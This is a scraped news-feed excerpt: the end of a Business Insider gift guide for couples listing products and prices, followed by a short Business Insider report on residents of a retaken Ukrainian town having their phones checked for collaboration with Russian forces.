Best for: The competitive crossword couple

For the couple who loves a crossword challenge, give them a book filled with 50 of the New York Times' most difficult puzzles. Saturday is notorious for being the hardest crossword of the week — the perfect challenge for couples who love solving puzzles together.

A plant to spruce up their space and bring good fortune

Money Tree plant in a pot on top of a side table with a stack of books on it, in front of a brick wall. gifts for couples 2022

The Sill

Money Tree Plant, available at The Sill, $ 84

Best for: The budding plant parents

Gifting a plant is always a good idea, especially when it's said to bring good luck and fortune to their space. The money tree is low maintenance, pet-friendly, and brings much-needed greenery to any interior.

A smart sleep assistant to get them their beauty rest

Hatch Restore Alarm gifts for couples 2022

Amazon

Hatch Restore, available at Amazon and Target, $ 129.99

Best for: The couple who struggles to get up

For couples with different sleep schedules and habits, this sleep assistant makes a great gift. This one device is a sound machine, smart light, alarm clock, sunrise alarm, and meditation app that'll lull them to sleep and wake them up with ease.

A fondue set for date nights and dinner parties

Boska ceramic fondue pot filled with cheese on a table set with various vegetables and bread cubes to dip in the fondue. gifts for couples 2022

Food52

Boska Ceramic Fondue Pot Set, available at Food52 and Amazon, from $ 63.97

Best for: The lowkey dinner hosts

For the couple knows everything tastes better dipped in cheese, a fondue set makes for a fun gift and activity. They can use it for dipping all sorts of snacks in cheese or try melting chocolate for a fun dessert.

A mini massager for the couple that needs to loosen up

Person using Theragun Mini on their forearm while sitting on a couch. gifts for couples 2022

Therabody

Theragun Mini, available at Therabody, Amazon, and Target, from $ 184.89

Best for: The fitness fanatics

Their tension will melt away with the help of a Theragun Mini. This small but mighty massager can easily be stowed in their pocket or backpack for getting out knots whenever they need it.

A charging station for both of their devices

Elago 3-in- Charging Station with an iPhone, AirPods, and Apple Watch charging on it. gifts for couples 2022

Amazon

Elago 3-in-1 Apple Charging Station, available at Amazon and Elago, from $ 27.99

Best for: The techie couple

Fighting over the outlet is no longer an issue with this smart charging hub. It's designed to charge an iPhone, Apple Watch, and pair of Airpods simultaneously. 

The gift of delicious Japanese snacks

Bokksu gift box gifts for couples 2022

Bokksu

Japanese Snack Box 3-Month Subscription, available at Bokksu, $ 45.99

Best for: The couple who still talks about their trip to Japan

For the couple that loves exploring the world and new flavors, give them a subscription to Bokksu box. Each month, they'll have a curated selection of snacks, candies, and teas from artisanal Japanese makers shipped right to their door.  

A personalized pillow for the couple that's obsessed with their pet

Collection of custom pet pillows shaped like dogs on a leather couch. gifts for couples 2022

Rarton/Etsy

Rarton Custom Pet Pillow, available at Etsy, from $ 14.20

Best for: The couple with an Instagram for their dog

Help them show off their favorite furry friend with a handmade pillow shaped just like their pet. It's a memorable keepsake and fun piece of home decor wrapped into one great gift.

An extra-large beach towel for lounging outside

Two people lounging on an extra-large striped beach towel on top of grass. gifts for couples 2022

Amazon

Sand Cloud XL Beach Towel, available at Amazon and Sand Cloud, $ 72

Best for: The picnic lovers

Any beach-loving duo will appreciate this giant towel from Sand Cloud. It's super soft, absorbent, and large enough for both of them to lounge or picnic comfortably.

A clever blanket and sheet set that splits

Two people using a split blanket and sheet set. gifts for couples 2022

Uncommon Goods

Couple's Split Blanket & Sheet Set, available at Uncommon Goods, from $ 85

Best for: The sheet hoggers

This couple's split blanket puts an end to the comforter tug-of-war. Still connected at the bottom, this soft blanket allows more room sleep-wise without fully separating.

A relationship game to build intimacy

Hands holding cards and tokens playing the Where Should We Begin Game. gifts for couples 2022

Esther Perel

Where Should We Begin Game, available at Esther Perel, $ 40

Best for: The storytellers

Stories allow couples to bond on a deeper level. This relationship game is designed to build intimacy and honesty between couples as they share personal stories through prompts.

An adorable matching mug pair

Two face-shaped ceramic mugs kissing on top of a breakfast in bed tray. gifts for couples 2022

Uncommon Goods

The Kissing Mugs, available at Uncommon Goods, $ 65

Best for: The coffee mates

The two lovebirds can begin their days with a smooch just like this cute mug pair. Each sip is a sweet reminder of the love shared.

A gourmet virtual cooking class

Hands rolling up dough to form a crescent roll shape. gifts for couples 2022

Sur la Table

Online Cooking Classes, available at Sur la Table, from $ 29

Best for: The chef couple

A virtual cooking class makes for a fun alternative to a normal dinner date. The sweet pair can whip up an even more enjoyable meal because they cooked it together.

A pair of earphones to bring you two closer together

Lovebuds two-person earphones gifts for couples 2022

Amazon

Lovebuds, available at Amazon, $ 34.99

Best for: The couple who shares everything

It's the cute, small things that count, and these two-person earphones allow couples to listen to their favorite podcasts or songs together. Of course, with strings attached. Keep in mind that an adapter may be needed for certain phone models.

A variety of romantic prompts for date night ideas

Date night bucket list with date prompts on wooden sticks. gifts for couples 2022

Uncommon Goods

Date Night Bucket List, available at Uncommon Goods, $ 20

Best for: The date night enthusiasts 

Help them figure out what new experiences to do next with this bucket list kit. It features various date ideas from watching the sunrise to attending a lecture at a local museum.

Matching pajamas for the couple that's so much alike

Two people wearing matching red silk pajamas. gifts for couples 2022

BlushBridesCo/Etsy

BlushBridesCo Couples Pajamas, available at Etsy, from $ 19.90

Best for: The couple who takes adult sleepovers literally

Partners truly can't be any more alike than in matching jammies. A twin pajama set is the ultimate cozy gift for the couple.

A personalized coffee subscription from the finest roasters

Collage of coffee offered through Trade coffee subscription. gifts for couples 2022

Trade Coffee Company

Coffee Subscription, available at Trade Coffee Company, from $ 40

Best for: The caffeine -obsessed couple

For the couple who lives together, gift them a nice morning pick-me-up with this coffee subscription. Trade Coffee Company delivers fresh, sustainably sourced coffee from over 400 options to pick and brew.

A unisex aroma to bask in together

Bottle of Ind. unisex sandalwood fragrance gifts for couples 2022

Urban Outfitters

Ind. For Her For Him Unisex Fragrance, available at Urban Outfitters, $ 18

Best for: The couple who use all the same toiletries anyway 

It's said that partners can look like each other after a while, so why can't they smell alike too? Save on separate expensive fragrances and opt for a unisex scent instead.

Fun undergarments to match your each other's bottoms

Man and a woman wearing matching undergarments. gifts for couples 2022

MeUndies

Match Me Underwear Set, available at MeUndies, $ 46

Best for: The couple who takes matching to a new level

A whimsical gift for the couple who does literally everything together; yes, even matching underwear. From classic to wacky prints, the couple can build a fun underwear collection with MeUndies' MatchMe program. 

A retro-inspired record player for music lovers

Crosley UO Exclusive Wood Voyager Record Player gifts for couples 2022

Urban Outfitters

Crosley UO Exclusive Wood Voyager Record Player, available at Urban Outfitters, $ 96

Best for: The music lovers

When it comes to a music-obsessed couple, this portable record player is a quality gift. The record player provides the option to play their favorite songs with Bluetooth or on vinyl LPs.

Delicious chocolate truffles kit for a sweet surprise

Make Your Own Chocolate Truffles Kit with contents spread out on a table. gifts for couples 2022

Uncommon Goods

Make Your Own Chocolate Truffles Kit, available at Uncommon Goods, $ 38

Best for: The truly sweet couple

Couples deserve the sweetest experience. This DIY chocolate truffle kit is a more delightful treat for them than gifting store-bought chocolates.

A therapy journal for a happier relationship

Cover of Loom couples fill-in journal. gifts for couples 2022

Promptly Journals

Loom Couple's Journal, available at Promptly Journals, $ 34

Best for: The couple who loves documenting everything

Even perfect companions can go through difficult moments. This couples therapy journal is a thoughtful gift to improve their communication and have open conversations. The weekly journal consists of 52 weeks of curated prompts and tips for the couple to feel more connected.

A custom couple's portrait to showcase your love

Framed custom portrait of two people embracing. gifts for couples 2022

ShortAndSilly/Etsy

ShortAndSilly Custom Faceless Portrait, available at Etsy, from $ 9.04

Best for: The couple who has yet to hang a photo of themselves

Rather than an ordinary photo, gift the couple something a little more special. This custom illustration is an adorable gift for the couple's anniversary.

A curated wine subscription

Four bottles of wine and a brown wine box placed in the center on a doorstep. gifts for couples 2022

Winc

Wine Subscription, available at Winc, from $ 29.95

Best for: The aspiring wine snobs

Elevate their wine experience with unique wines that match their tastes and preferences. Winc even lets you choose between one-, two-, and three-month subscription options.

A paint kit to recreate dream travel spots

Date night painting kit set including paints, brushes, and black and white prints to paint on top of. gifts for couples 2022

Uncommon Goods

Date Night Paint by Shadows Kit, available at Uncommon Goods, $ 40

Best for: The artsy couple

Take a trip without leaving home with this landscape painting kit. Whether it's Paris or Positano, the couple can paint a dreamy destination for inspiration.

A nostalgic mixtape pillow that’s personalized

Pillow shaped like a mixtape with personalized message. gifts for couples 2022

Uncommon Goods

Personalized Mixtape Pillow, available at Uncommon Goods, $ 65

Best for: The couple who knows their song

This mixtape pillow compliments the couple whose love story began with a curated playlist. Get their names inscribed on this plush pillow to make their cuddle sessions feel more personal.

A memory-filled book of your adventures

Adventure challenge couples prompt book. gifts for couples 2022

The Adventure Challenge

Couples Edition, available at The Adventure Challenge, $ 44.99

Best for: The adventurers 

For adventurous lovers, this guidebook offers 50 surprise challenges to scratch off and begin forming memories. All they need is a little spontaneity to start the journey.

Read the original article on Business Insider

https://i.insider.com/6323397cd5916b0019abdcda?format=jpeg

]]> https://briefnews.eu/27-of-the-best-gifts-for-couples-from-personalized-gifts-to-fun-activities-they-can-do-together/feed/ 0 People in a retaken Ukrainian town had their phones checked to see if they had collaborated with Russia, report says https://briefnews.eu/people-in-a-retaken-ukrainian-town-had-their-phones-checked-to-see-if-they-had-collaborated-with-russia-report-says/ https://briefnews.eu/people-in-a-retaken-ukrainian-town-had-their-phones-checked-to-see-if-they-had-collaborated-with-russia-report-says/#respond Thu, 15 Sep 2022 15:18:44 +0000 https://briefnews.eu/people-in-a-retaken-ukrainian-town-had-their-phones-checked-to-see-if-they-had-collaborated-with-russia-report-says/ A Ukrainian soldier helps another adjust a blue identification ribbon on his sleeve in the recently retaken Kupiansk in the Kharkiv region of Ukraine on Sept. 14, 2022.
A Ukrainian soldier helps another adjust a blue identification ribbon on his sleeve in the recently retaken Kupiansk in the Kharkiv region of Ukraine on Sept. 14, 2022.

AP Photo/Kostiantyn Liberov

  • Locals of a retaken Ukrainian town reportedly had their phones checked for any signs of collaboration with Russian occupiers.
  • Residents of Shevchenkove lined up outside of a police station to have their phones checked days after the town was reclaimed, CNN reported.
  • In recent days, Ukrainian forces reclaimed large swaths of territory from Russian occupation.

Residents of a Ukrainian town that's been newly reclaimed from Russian occupation in a counteroffensive amid Moscow's war with the country have reportedly had their phones checked for any evidence of collaboration with the Kremlin's forces. 

Days after Ukrainian forces took back the Kharkiv settlement of Shevchenkove, locals of the largely deserted small town in northeastern Ukraine lined up outside of a police station so that authorities could check whether they had collaborated with the Russian occupiers, CNN reported on Thursday. 

Police in Kharkiv, Ukraine's second-largest city, refused to say what would happen to anyone suspected of working with Russian troops, according to the news outlet, which reported that Ukrainian officials have threatened criminal sanctions for those who have collaborated with the occupiers. 

A woman from the town, which had been occupied by Russian forces since the beginning of the nearly seven-month-long war, said she was racked with guilt over how she had to take food given out by the Russians. 

"We couldn't buy anything in the shops," 73-year-old Larisa Kharkivska told CNN. "And we couldn't get money because the banks were closed, so we had to stand there like beggars." 

Kharkivska said she and her daughter were "terrified to go outside" their home to the sights of Russian soldiers parading around with automatic weapons. 

"We survived, thank God, we survived! But it was very frightening. We just hope they never come back," said Kharkivska. 

In recent days, Ukrainian forces reclaimed territory in the Kharkiv region from Russian occupation in a lightning-fast counteroffensive.

Ukrainian President Volodymyr Zelenskyy said on Tuesday that "stabilization measures" were being carried out in the reclaimed land. 

"Remnants of occupiers and sabotage groups are being detected, collaborators are being detained and full security is being restored," said Zelenskyy.

Read the original article on Business Insider

https://i.insider.com/63233729d5916b0019abdbd4?format=jpeg

]]> https://briefnews.eu/people-in-a-retaken-ukrainian-town-had-their-phones-checked-to-see-if-they-had-collaborated-with-russia-report-says/feed/ 0